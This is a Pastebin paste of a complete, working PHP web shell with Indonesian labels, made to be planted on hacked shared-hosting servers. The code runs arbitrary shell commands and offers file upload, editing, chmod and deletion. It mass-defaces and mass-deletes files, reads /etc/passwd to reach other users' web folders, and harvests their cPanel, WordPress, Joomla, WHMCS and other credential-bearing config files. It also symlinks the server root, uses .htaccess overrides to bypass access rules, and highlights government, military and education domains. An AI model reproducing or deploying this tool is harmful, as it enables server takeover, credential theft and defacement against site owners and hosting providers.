Advertisement
Yusron55

Untitled

Mar 24th, 2020
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.72 KB | None | 0 0
  1. <html>
  2. <head>
  3. <link href="https://fonts.googleapis.com/css?family=Gloria+Hallelujah|Patrick+Hand|Droid+Sans+Mono" rel="stylesheet">
  4. <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
  5. <title>Ini Kerang</title>
  6. <center><h1>Ini Kerang</h1></center>
  7. <center><img src="https://files.gamebanana.com/img/ico/sprays/5c3b43a13234b.gif" width="250px" height="250px"></center>
  8. <meta name='author' content='Ngentod Lo'>
  9. <meta charset="UTF-8">
  10. <meta property="og:image" content="http://oi66.tinypic.com/zn0xs.jpg" alt="53430105-557504214770012-2414548526572814332-n" "="">
  11. <meta name="Description" content="D704T....">
  12. <link href="" rel="stylesheet" type="text/css">
  13. <style>
  14. body{
  15. font-family: 'Droid Sans Mono', cursive;
  16. background-image: url("");
  17. color:#DBDBDB;
  18. background-attachment:fixed;
  19. background-repeat:no-repeat;
  20. background-position:center;
  21. background-color:#000;
  22. -webkit-background-size: 100% 100%;
  23. }
  24. #content tr:hover{
  25. background-color: #666666;
  26. }
  27. #content .first{
  28. background-color: #666666;
  29. }
  30. th{
  31. height: 50px;
  32. }
  33. a{
  34. color: #DBDBDB;
  35. text-decoration: none;
  36. font-family: 'Droid Sans Mono', cursive;
  37. }
  38. a:hover{
  39. color:#ADADAD;
  40. }
  41. input,select{
  42. color:#000;
  43. background-color:#D0D5D5;
  44. border: 1px #ADADAD solid;
  45. -moz-border-radius: 3px;
  46. -webkit-border-radius:3px;
  47. border-radius:3px;
  48. padding: 2px;
  49. }
  50. textarea{
  51. background-color:transparent;
  52. border: 1px #D0D5D5 solid;
  53. color:#ADADAD;
  54. }
  55. .tombols{
  56. background: #D0D5D5;
  57. color:#000;
  58. border-top:0;
  59. border-left:0;
  60. border-right:0;
  61. border: 1px #ADADAD solid;
  62. padding:5px 6px;
  63. text-decoration:none;
  64. font-family: 'Droid Sans Mono', cursive;
  65. border-radius:2px;
  66. }
  67. .tombols:hover{
  68. background-color:#ADADAD;
  69. color:#000;
  70. }
  71. h1{
  72. color:red;
  73. font-family: 'Gloria Hallelujah', cursive;
  74. }
  75. </style>
  76. </head>
  77. <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
  78. <link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">
  79. <?php
  80. set_time_limit(0);
  81. error_reporting(0);
  82.  
  83. //function
  84. function ambilKata($param, $kata1, $kata2){
  85. if(strpos($param, $kata1) === FALSE) return FALSE;
  86. if(strpos($param, $kata2) === FALSE) return FALSE;
  87. $start = strpos($param, $kata1) + strlen($kata1);
  88. $end = strpos($param, $kata2, $start);
  89. $return = substr($param, $start, $end - $start);
  90. return $return;
  91. }
  92. if(get_magic_quotes_gpc()) {
  93. function idx_ss($array) {
  94. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  95. }
  96. $_POST = idx_ss($_POST);
  97. }
  98. function hdd($s) {
  99. if($s >= 1073741824)
  100. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  101. elseif($s >= 1048576)
  102. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  103. elseif($s >= 1024)
  104. return sprintf('%1.2f',$s / 1024 ) .' KB';
  105. else
  106. return $s .' B';
  107. }
  108. function exe($cmd) {
  109. if(function_exists('system')) {
  110. @ob_start();
  111. @system($cmd);
  112. $buff = @ob_get_contents();
  113. @ob_end_clean();
  114. return $buff;
  115. } elseif(function_exists('exec')) {
  116. @exec($cmd,$results);
  117. $buff = "";
  118. foreach($results as $result) {
  119. $buff .= $result;
  120. } return $buff;
  121. } elseif(function_exists('passthru')) {
  122. @ob_start();
  123. @passthru($cmd);
  124. $buff = @ob_get_contents();
  125. @ob_end_clean();
  126. return $buff;
  127. } elseif(function_exists('shell_exec')) {
  128. $buff = @shell_exec($cmd);
  129. return $buff;
  130. }
  131. }
  132. //check dir
  133. $nick = "3X0RC1ST";
  134. if(isset($_GET['path'])){
  135. $path = $_GET['path'];
  136. }else{
  137. $path = getcwd();
  138. }
  139. $software = getenv("SERVER_SOFTWARE");
  140. $path = str_replace('\\','/',$path);
  141. $paths = explode('/',$path);
  142. $dir = str_replace("\\","/",$dir);
  143. $scdir = explode("/", $dir);
  144. $freespace = hdd(disk_free_space("/"));
  145. $total = hdd(disk_total_space("/"));
  146. $used = $total - $freespace;
  147. if(!function_exists('posix_getegid')) {
  148. $user = @get_current_user();
  149. $uid = @getmyuid();
  150. $gid = @getmygid();
  151. $group = "?";
  152. } else {
  153. $uid = @posix_getpwuid(posix_geteuid());
  154. $gid = @posix_getgrgid(posix_getegid());
  155. $user = $uid['name'];
  156. $uid = $uid['uid'];
  157. $group = $gid['name'];
  158. $gid = $gid['gid'];
  159. }
  160. //uname
  161. echo "<center><font color=#D0D5D5 size=2>System : <font color=#52CF38>".php_uname()."</font></font><br>";
  162. echo "<center><font color=#D0D5D5 size=2>Time On Server : <font color=#52CF38>".date("d M Y H:i:s",time())."</font></font><br>";
  163. echo "<center><font color=#D0D5D5 size=2>Server IP : <font color=#52CF38>".gethostbyname($_SERVER['HTTP_HOST'])."<font color=#D0D5D5> | Your IP : <font color=#52CF38>".$_SERVER['REMOTE_ADDR']."</font></font><br>";
  164. echo "<center><font color=#D0D5D5 size=2>User : <font color=#52CF38>".$user."</font> (".$uid.") Group : <font color=#52CF38>".$group."</font> (".$gid.")<br></font>";
  165. echo "<br><center><font color=#D0D5D5 size=3>Current Dir : </font>";
  166. foreach($paths as $id=>$pat){
  167. if($pat == '' && $id == 0){
  168. $a = true;
  169. echo '<a href="?path=/">/</a>';
  170. continue;
  171. }
  172. if($pat == '') continue;
  173. echo '<a href="?path=';
  174. for($i=0;$i<=$id;$i++){
  175. echo "$paths[$i]";
  176. if($i != $id) echo "/";
  177. }
  178. echo '"><font color=#D0D5D5 size=3>'.$pat.'</font></a>/';
  179. }
  180.  
  181. #TOOLBAR
  182. echo "<hr color=#666666>
  183. <br></center>
  184. <font size=3><a href='?' class='tombols'>Home</a>
  185. <font size=3><a href='?path=$path&jomblo=mass_deface' class='tombols'>Mass Deface</a>
  186. <font size=3><a href='?path=$path&jomblo=config' class='tombols'>Config</a>
  187. <font size=3><a href='?path=$path&jomblo=mass_delete' class='tombols'>Mass Delete</a><br><br>
  188. <font size=3><a href='?path=$path&jomblo=upload' class='tombols'>Upload</a>
  189. <font size=3><a href='?path=$path&jomblo=jumping' class='tombols'>Jumping</a>
  190. <font size=3><a href='?path=$path&jomblo=symlink' class='tombols'>Symlink</a>
  191. </center><br>
  192. <hr color=#666666><center>";
  193.  
  194. /*uploads*/
  195. if($_GET['jomblo'] == 'upload') {
  196. if(isset($_FILES['file'])){
  197. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  198. echo '<font color="#52CF38">Upload Sukses Senpai!!</font><br />';
  199. }else{
  200. echo '<font color="#666666">Upload Gagal Senpai!!</font><br />';
  201. }
  202. }
  203. echo '<form enctype="multipart/form-data" method="POST"><font color="#D0D5D5" size="4"><br>
  204. Upload File :<br><input type="file" name="file" />
  205. <input type="submit" value="Upload" />
  206. </form><br>
  207. </td></tr>';
  208.  
  209. //MASS Deface
  210. } elseif(isset($_GET['jomblo']) && ($_GET['jomblo'] == 'mass_deface')){
  211. function sabun_massal($dir,$namafile,$isi_script) {
  212. foreach($j as $lokasi)
  213. if(is_writable($dir)) {
  214. $dira = scandir($dir);
  215. foreach($dira as $dirb) {
  216. $dirc = "$dir/$dirb";
  217. $lokasi = $dirc.'/'.$namafile;
  218. if($dirb === '.') {
  219. file_put_contents($lokasi, $isi_script);
  220. } elseif($dirb === '..') {
  221. file_put_contents($lokasi, $isi_script);
  222. } else {
  223. if(is_dir($dirc)) {
  224. if(is_writable($dirc)) {
  225.  
  226. echo "[<font color=#52CF38>Selesai</font>] $lokasi<br>";
  227. file_put_contents($lokasi, $isi_script);
  228. $idx = sabun_massal($dirc,$namafile,$isi_script);
  229. }
  230. }
  231. }
  232. }
  233. }
  234. }
  235. function sabun_biasa($dir,$namafile,$isi_script) {
  236. if(is_writable($dir)) {
  237. $dira = scandir($dir);
  238. foreach($dira as $dirb) {
  239. $dirc = "$dir/$dirb";
  240. $lokasi = $dirc.'/'.$namafile;
  241. if($dirb === '.') {
  242. file_put_contents($lokasi, $isi_script);
  243. } elseif($dirb === '..') {
  244. file_put_contents($lokasi, $isi_script);
  245. } else {
  246. if(is_dir($dirc)) {
  247. if(is_writable($dirc)) {
  248. echo "[<font color=#52CF38>Selesai</font>] $dirb/$namafile<br>";
  249. file_put_contents($lokasi, $isi_script);
  250. }
  251. }
  252. }
  253. }
  254. }
  255. }
  256. if($_POST['start']) {
  257. if($_POST['tipe_sabun'] == 'mahal') {
  258. echo "<div style='margin: 5px auto; padding: 5px'>";
  259. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  260. echo "</div>";
  261. } elseif($_POST['tipe_sabun'] == 'murah') {
  262. echo "<div style='margin: 5px auto; padding: 5px'>";
  263. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  264. echo "</div>";
  265. }
  266. } else {
  267. echo "<center>";
  268. echo "<form method='post'>
  269. <font>Type Sabun :</font><br>
  270. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  271. <font>Folder :</font><br>
  272. <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  273. <font>Filename :</font><br>
  274. <input type='text' name='d_file' value='jefriganteng.php' style='width: 450px;' height='10'><br>
  275. <font>Index File :</font><br>
  276. <textarea name='script' style='width: 450px; height: 200px;'>Pastekan Script deface Kalian disini!</textarea><br>
  277. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  278. </form></center>";
  279. }
  280. }
  281.  
  282. //MASS DELETE/////////////////////////
  283. elseif($_GET['jomblo'] == 'mass_delete') {
  284. function hapus_massal($dir,$namafile) {
  285. if(is_writable($dir)) {
  286. $dira = scandir($dir);
  287. foreach($dira as $dirb) {
  288. $dirc = "$dir/$dirb";
  289. $lokasi = $dirc.'/'.$namafile;
  290. if($dirb === '.') {
  291. if(file_exists("$dir/$namafile")) {
  292. unlink("$dir/$namafile");
  293. }
  294. } elseif($dirb === '..') {
  295. if(file_exists("".dirname($dir)."/$namafile")) {
  296. unlink("".dirname($dir)."/$namafile");
  297. }
  298. } else {
  299. if(is_dir($dirc)) {
  300. if(is_writable($dirc)) {
  301. if(file_exists($lokasi)) {
  302. echo "[<font color=#52CF38>Terhapus</font>] $lokasi<br>";
  303. unlink($lokasi);
  304. $idx = hapus_massal($dirc,$namafile);
  305. }
  306. }
  307. }
  308. }
  309. }
  310. }
  311. }
  312. if($_POST['start']) {
  313. echo "<div style='margin: 5px auto; padding: 5px'>";
  314. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  315. echo "</div>";
  316. } else {
  317. echo "<center>";
  318. echo "<form method='post'>
  319. <font>Folder :</font><br>
  320. <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  321. <font>Filename :</font><br>
  322. <input type='text' name='d_file' value='jefriganteng.php' style='width: 450px;' height='10'><br>
  323. <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  324. </form></center>";
  325. }
  326.  
  327. ##JUMPING
  328. } elseif($_GET['jomblo'] == 'jumping') {
  329. $i = 0;
  330. echo "<pre><div class='margin: 5px auto;'>";
  331. $etc = fopen("/etc/passwd", "r") or die("<font color=#666666>Can't read /etc/passwd</font>");
  332. while($passwd = fgets($etc)) {
  333. if($passwd == '' || !$etc) {
  334. echo "<font color=#666666>Can't read /etc/passwd</font>";
  335. } else {
  336. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  337. foreach($user_jumping[1] as $user_jefri_jump) {
  338. $user_jumping_dir = "/home/$user_jefri_jump/public_html";
  339. if(is_readable($user_jumping_dir)) {
  340. $i++;
  341. $jrw = "[<font color=#52CF38>R</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
  342. if(is_writable($user_jumping_dir)) {
  343. $jrw = "[<font color=#52CF38>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
  344. }
  345. echo $jrw;
  346. if(function_exists('posix_getpwuid')) {
  347. $domain_jump = file_get_contents("/etc/named.conf");
  348. if($domain_jump == '') {
  349. echo " => ( <font color=#666666>gagal mengambil nama domain nya</font> )<br>";
  350. } else {
  351. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  352. foreach($domains_jump[1] as $dj) {
  353. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  354. $user_jumping_url = $user_jumping_url['name'];
  355. if($user_jumping_url == $user_jefri_jump) {
  356. echo " => ( <u>$dj</u> )<br>";
  357. break;
  358. }
  359. }
  360. }
  361. } else {
  362. echo "<br>";
  363. }
  364. }
  365. }
  366. }
  367. }
  368. if($i == 0) {
  369. } else {
  370. echo "<br>Total ada ".$i." Kamar ada ".gethostbyname($_SERVER['HTTP_HOST'])."";
  371.  
  372. echo "</div></pre>";
  373. }
  374.  
  375. //CONFIG///////////
  376. } elseif($_GET['jomblo'] == 'config') {
  377. $etc = fopen("/etc/passwd", "r") or die("<pre><font color=#666>Can't read /etc/passwd</font></pre>");
  378. $idx = mkdir("3X0RC1ST_CONFIG", 0777);
  379. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  380. $htc = fopen("3X0RC1ST_CONFIG/.htaccess","w");
  381. fwrite($htc, $isi_htc);
  382. while($passwd = fgets($etc)) {
  383. if($passwd == "" || !$etc) {
  384. echo "<font color=#666>Can't read /etc/passwd</font>";
  385. } else {
  386. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  387. foreach($user_config[1] as $user_3X0RC1ST) {
  388. $user_config_dir = "/home/$user_3X0RC1ST/public_html/";
  389. if(is_readable($user_config_dir)) {
  390. $grab_config = array(
  391. "/home/$user_3X0RC1ST/.my.cnf" => "cpanel",
  392. "/home/$user_3X0RC1ST/.accesshash" => "WHM-accesshash",
  393. "/home/$user_3X0RC1ST/public_html/vdo_config.php" => "Voodoo",
  394. "/home/$user_3X0RC1ST/public_html/bw-configs/config.ini" => "BosWeb",
  395. "/home/$user_3X0RC1ST/public_html/config/koneksi.php" => "Lokomedia",
  396. "/home/$user_3X0RC1ST/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  397. "/home/$user_3X0RC1ST/public_html/clientarea/configuration.php" => "WHMCS",
  398. "/home/$user_3X0RC1ST/public_html/whm/configuration.php" => "WHMCS",
  399. "/home/$user_3X0RC1ST/public_html/whmcs/configuration.php" => "WHMCS",
  400. "/home/$user_3X0RC1ST/public_html/forum/config.php" => "phpBB",
  401. "/home/$user_3X0RC1ST/public_html/sites/default/settings.php" => "Drupal",
  402. "/home/$user_3X0RC1ST/public_html/config/settings.inc.php" => "PrestaShop",
  403. "/home/$user_3X0RC1ST/public_html/app/etc/local.xml" => "Magento",
  404. "/home/$user_3X0RC1ST/public_html/joomla/configuration.php" => "Joomla",
  405. "/home/$user_3X0RC1ST/public_html/configuration.php" => "Joomla",
  406. "/home/$user_3X0RC1ST/public_html/wp/wp-config.php" => "WordPress",
  407. "/home/$user_3X0RC1ST/public_html/wordpress/wp-config.php" => "WordPress",
  408. "/home/$user_3X0RC1ST/public_html/wp-config.php" => "WordPress",
  409. "/home/$user_3X0RC1ST/public_html/admin/config.php" => "OpenCart",
  410. "/home/$user_3X0RC1ST/public_html/slconfig.php" => "Sitelok",
  411. "/home/$user_3X0RC1ST/public_html/application/config/database.php" => "Ellislab");
  412. foreach($grab_config as $config => $nama_config) {
  413. $ambil_config = file_get_contents($config);
  414. if($ambil_config == '') {
  415. } else {
  416. $file_config = fopen("3X0RC1ST_CONFIG/$user_jefri-$nama_config.txt","w");
  417. fputs($file_config,$ambil_config);
  418. }
  419. }
  420. }
  421. }
  422. }
  423. }
  424. echo "<center><a href='?path=$path/3X0RC1ST_CONFIG'><font color=#52CF38>Selesai!</font></a></center>";
  425. //symlink
  426. } elseif(isset($_GET['jomblo']) && ($_GET['jomblo'] == 'symlink')) {
  427. echo " <form action= method=post>";
  428. @set_time_limit(0);
  429. echo "<center><font color=#DBDBDB>";
  430. @mkdir('sym',0777);
  431. $htaccess = "Options all \n DirectoryIndex sym.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write =@fopen ('sym/.htaccess','w'); fwrite($write ,$htaccess); @symlink('/','sym/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if(!$read_named_conf) { echo "<br><br><font color='#666666'>Cant access this file on server -> [ /etc/named.conf ]</font></center>"; } else { echo "<table width='700px' border='1' cellpadding='3' cellspacing='0' align='center'><td style='background:#666;color:#000;'>Domain</td><td style='background:#666;color:#000;'>Users</td><td style='background:#666;color:#000;'>Symlink </td>"; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','sym/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) { $name = "<font color=#D0D5D5>".$string[1][0].'</font>'; } echo " <tr> <td><a target=_blank href=http://www.".$string[1][0].'/>'.$name.' </a> </td> <td style=border-left:1px solid #52CF38;> '.$UID['name']." </td> <td style=border-left:1px solid white;> <a href=sym/root/home/".$UID['name']."/public_html target=_blank>Symlink </a> </td> </tr>"; flush(); } } } } echo "</center></table></font>";
  432.  
  433. //*START*//
  434. } elseif(isset($_GET['filesrc'])){
  435. echo "<tr><td>Current File : ";
  436. echo $_GET['filesrc'];
  437. echo '</tr></td></table><br />';
  438. echo(' <center><textarea style="width:655px;height:300px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea></center>');
  439. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  440. echo '</table><br />'.$_POST['path'].'<br /><br />';
  441. if($_POST['opt'] == 'chmod'){
  442. if(isset($_POST['perm'])){
  443. if(chmod($_POST['path'],$_POST['perm'])){
  444. echo '<font color="#52CF38">Ganti Permission Berhasil</font><br />';
  445. }else{
  446. echo '<font color="#666666">Ganti Permission Gagal</font><br />';
  447. }
  448. }
  449. echo '<form method="POST">
  450. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  451. <input type="hidden" name="path" value="'.$_POST['path'].'">
  452. <input type="hidden" name="opt" value="chmod">
  453. <input type="submit" value="Chmod" />
  454. </form>';
  455. }elseif($_POST['opt'] == 'rename'){
  456. if(isset($_POST['newname'])){
  457. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  458. echo '<font color="#52CF38">Ganti Nama Berhasil</font><br />';
  459. }else{
  460. echo '<font color="#666666">Ganti Nama Gagal</font><br />';
  461. }
  462. $_POST['name'] = $_POST['newname'];
  463. }
  464. echo '<form method="POST">
  465. Nama Baru : <input name="newname" type="text" size="30" value="'.$_POST['name'].'" />
  466. <input type="hidden" name="path" value="'.$_POST['path'].'">
  467. <input type="hidden" name="opt" value="rename">
  468. <input type="submit" value="Ubah Nama" />
  469. </form>';
  470. }elseif($_POST['opt'] == 'edit'){
  471. if(isset($_POST['src'])){
  472. $fp = fopen($_POST['path'],'w');
  473. if(fwrite($fp,$_POST['src'])){
  474. echo '<font color="#52CF38">Edit File Berhasil</font><br />';
  475. }else{
  476. echo '<font color="#bd29ff">Edit File Gagal</font><br />';
  477. }
  478. fclose($fp);
  479. }
  480. echo '<form method="POST">
  481. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  482. <input type="hidden" name="path" value="'.$_POST['path'].'">
  483. <input type="hidden" name="opt" value="edit">
  484. <input type="submit" value="Edit File" />
  485. </form>';
  486. }
  487. echo '</center>';
  488. }else{
  489. echo '</table><br /><center>';
  490. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  491. if($_POST['type'] == 'dir'){
  492. if(rmdir($_POST['path'])){
  493. echo '<font color="#52CF38">Hapus Dir Berhasil</font><br />';
  494. }else{
  495. echo '<font color="#666666">Hapus Dir Gagal</font><br />';
  496. }
  497. }elseif($_POST['type'] == 'file'){
  498. if(unlink($_POST['path'])){
  499. echo '<font color="#52CF38">Hapus File Berhasil</font><br />';
  500. }else{
  501. echo '<font color="#666666">Hapus File Gagal</font><br />';
  502. }
  503. }
  504. }
  505.  
  506. echo '</center>';
  507. $scandir = scandir($path);
  508. echo '<div id="content"><table width="705px" border="0" cellpadding="4" cellspacing="0" align="center">
  509. <tr class="first">
  510. <th><center><font color=#000 size=3>Name</font></center></th>
  511. <th><center><font color=#000 size=3>Size</font></center></th>
  512. <th><center><font color=#000 size=3>Permissions</font></center></th>
  513. <th><center><font color=#000 size=3>Options</font></center></th>
  514. </tr>';
  515.  
  516. foreach($scandir as $dir){
  517. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  518. echo '<tr>
  519. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  520. <td><center>---</center></td>
  521. <td><center>';
  522. if(is_writable($path.'/'.$dir)) echo '<font color="#52CF38">';
  523. elseif(!is_readable($path.'/'.$dir)) echo '<font color="#DBDBDB">';
  524. echo perms($path.'/'.$dir);
  525. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  526.  
  527. echo "</center></td>
  528. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  529. <select name=\"opt\">
  530. <option value=\"Select\"> </option>
  531. <option value=\"delete\">Delete</option>
  532. <option value=\"chmod\">Chmod</option>
  533. <option value=\"rename\">Rename</option>
  534. </select>
  535. <input type=\"hidden\" name=\"type\" value=\"dir\">
  536. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  537. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  538. <input type=\"submit\" value=\"Go\" />
  539. </form></center></td>
  540. </tr>";
  541. }
  542. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  543. foreach($scandir as $file){
  544. if(!is_file("$path/$file")) continue;
  545. $size = filesize("$path/$file")/1024;
  546. $size = round($size,3);
  547. if($size >= 1024){
  548. $size = round($size/1024,2).' MB';
  549. }else{
  550. $size = $size.' KB';
  551. }
  552.  
  553. echo "<tr>
  554. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  555. <td><center>".$size."</center></td>
  556. <td><center>";
  557. if(is_writable("$path/$file")) echo '<font color=#52CF38>';
  558. elseif(!is_readable("$path/$file")) echo '<font color=#DBDBDB>';
  559. echo perms("$path/$file");
  560. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  561. echo "</center></td>
  562. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  563. <select name=\"opt\">
  564. <option value=\"Select\"> </option>
  565. <option value=\"delete\">Delete</option>
  566. <option value=\"chmod\">Chmod</option>
  567. <option value=\"rename\">Rename</option>
  568. <option value=\"edit\">Edit</option>
  569. </select>
  570. <input type=\"hidden\" name=\"type\" value=\"file\">
  571. <input type=\"hidden\" name=\"name\" value=\"$file\">
  572. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  573. <input type=\"submit\" value=\"Go\" />
  574. </form></center></td>
  575. </tr>";
  576. }
  577. echo '</table>
  578. </div>';
  579. }
  580. echo '<br /><center><font size=3 ; color=#DBDBDB>@2019</font></center>
  581.  
  582. </body>
  583. </html>';
  584. function perms($file){
  585. $perms = fileperms($file);
  586.  
  587. if (($perms & 0xC000) == 0xC000) {
  588. // Socket
  589. $info = 's';
  590. } elseif (($perms & 0xA000) == 0xA000) {
  591. // Symbolic Link
  592. $info = 'l';
  593. } elseif (($perms & 0x8000) == 0x8000) {
  594. // Regular
  595. $info = '-';
  596. } elseif (($perms & 0x6000) == 0x6000) {
  597. // Block special
  598. $info = 'b';
  599. } elseif (($perms & 0x4000) == 0x4000) {
  600. // Directory
  601. $info = 'd';
  602. } elseif (($perms & 0x2000) == 0x2000) {
  603. // Character special
  604. $info = 'c';
  605. } elseif (($perms & 0x1000) == 0x1000) {
  606. // FIFO pipe
  607. $info = 'p';
  608. } else {
  609. // Unknown
  610. $info = 'u';
  611. }
  612.  
  613. // Owner
  614. $info .= (($perms & 0x0100) ? 'r' : '-');
  615. $info .= (($perms & 0x0080) ? 'w' : '-');
  616. $info .= (($perms & 0x0040) ?
  617. (($perms & 0x0800) ? 's' : 'x' ) :
  618. (($perms & 0x0800) ? 'S' : '-'));
  619.  
  620. // Group
  621. $info .= (($perms & 0x0020) ? 'r' : '-');
  622. $info .= (($perms & 0x0010) ? 'w' : '-');
  623. $info .= (($perms & 0x0008) ?
  624. (($perms & 0x0400) ? 's' : 'x' ) :
  625. (($perms & 0x0400) ? 'S' : '-'));
  626.  
  627. // World
  628. $info .= (($perms & 0x0004) ? 'r' : '-');
  629. $info .= (($perms & 0x0002) ? 'w' : '-');
  630. $info .= (($perms & 0x0001) ?
  631. (($perms & 0x0200) ? 't' : 'x' ) :
  632. (($perms & 0x0200) ? 'T' : '-'));
  633.  
  634. return $info;
  635. }
  636. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement